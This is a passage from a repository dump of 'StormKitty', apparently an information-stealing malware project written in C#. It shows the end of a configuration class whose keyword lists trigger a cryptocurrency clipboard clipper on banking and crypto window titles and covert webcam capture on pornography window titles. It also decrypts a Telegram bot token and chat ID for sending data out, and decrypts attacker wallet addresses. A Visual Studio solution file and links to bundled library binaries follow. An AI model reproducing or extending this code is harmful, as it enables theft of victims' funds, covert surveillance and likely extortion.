52 | "qiwi", "money", "exchange",
53 | "bank", "credit", "card", "банк", "кредит",
54 | };
55 | // Start clipper when active window title contains this text:
56 | public static string[] CryptoServices = new string[] {
57 | "bitcoin", "monero", "dashcoin", "litecoin", "etherium", "stellarcoin",
58 | "btc", "eth", "xmr", "xlm", "xrp", "ltc", "bch",
59 | "blockchain", "paxful", "investopedia", "buybitcoinworldwide",
60 | "cryptocurrency", "crypto", "trade", "trading", "биткоин", "wallet"
61 | };
62 | // Start webcam capture when active window title contains this text:
63 | public static string[] PornServices = new string[] {
64 | "porn", "sex", "hentai", "порно", "sex"
65 | };
66 |
67 |
68 | // Decrypt config values
69 | public static void Init()
70 | {
71 | // Decrypt telegram token and telegram chat id
72 | TelegramAPI = StringsCrypt.DecryptConfig(TelegramAPI);
73 | TelegramID = StringsCrypt.DecryptConfig(TelegramID);
74 | // Decrypt clipper addresses
75 | if (ClipperModule == "1")
76 | {
77 | ClipperAddresses["btc"] = StringsCrypt.DecryptConfig(ClipperAddresses["btc"]);
78 | ClipperAddresses["eth"] = StringsCrypt.DecryptConfig(ClipperAddresses["eth"]);
79 | ClipperAddresses["xmr"] = StringsCrypt.DecryptConfig(ClipperAddresses["xmr"]);
80 | ClipperAddresses["xlm"] = StringsCrypt.DecryptConfig(ClipperAddresses["xlm"]);
81 | ClipperAddresses["xrp"] = StringsCrypt.DecryptConfig(ClipperAddresses["xrp"]);
82 | ClipperAddresses["ltc"] = StringsCrypt.DecryptConfig(ClipperAddresses["ltc"]);
83 | ClipperAddresses["bch"] = StringsCrypt.DecryptConfig(ClipperAddresses["bch"]);
84 | }
85 | }
86 |
87 | }
88 | }
--------------------------------------------------------------------------------
/StormKitty-2025/stub/Neko/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/StormKitty.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35716.79
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "StormKitty", "Neko\StormKitty.csproj", "{A16ABBB4-985B-4DB2-A80C-21268B26C73D}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Debug|x64.ActiveCfg = Debug|x64
19 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Debug|x64.Build.0 = Debug|x64
20 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Release|Any CPU.ActiveCfg = Release|x64
21 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Release|Any CPU.Build.0 = Release|x64
22 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Release|x64.ActiveCfg = Release|x64
23 | {A16ABBB4-985B-4DB2-A80C-21268B26C73D}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {78E2AEB4-FED3-41CA-A99E-F39C584F9335}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/StormKitty-2025/stub/packages/DotNetZip.1.13.8/DotNetZip.1.13.8.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025/stub/packages/DotNetZip.1.13.8/DotNetZip.1.13.8.nupkg
--------------------------------------------------------------------------------
/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/net40/DotNetZip.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/net40/DotNetZip.dll
--------------------------------------------------------------------------------
/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/net40/DotNetZip.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/net40/DotNetZip.pdb
--------------------------------------------------------------------------------
/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/netstandard2.0/DotNetZip.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/netstandard2.0/DotNetZip.dll
--------------------------------------------------------------------------------
/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/netstandard2.0/DotNetZip.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swagkarna/StormKitty/c70c9717d4f89facf468f52d4e2a77ddada60d31/StormKitty-2025/stub/packages/DotNetZip.1.13.8/lib/netstandard2.0/DotNetZip.pdb
--------------------------------------------------------------------------------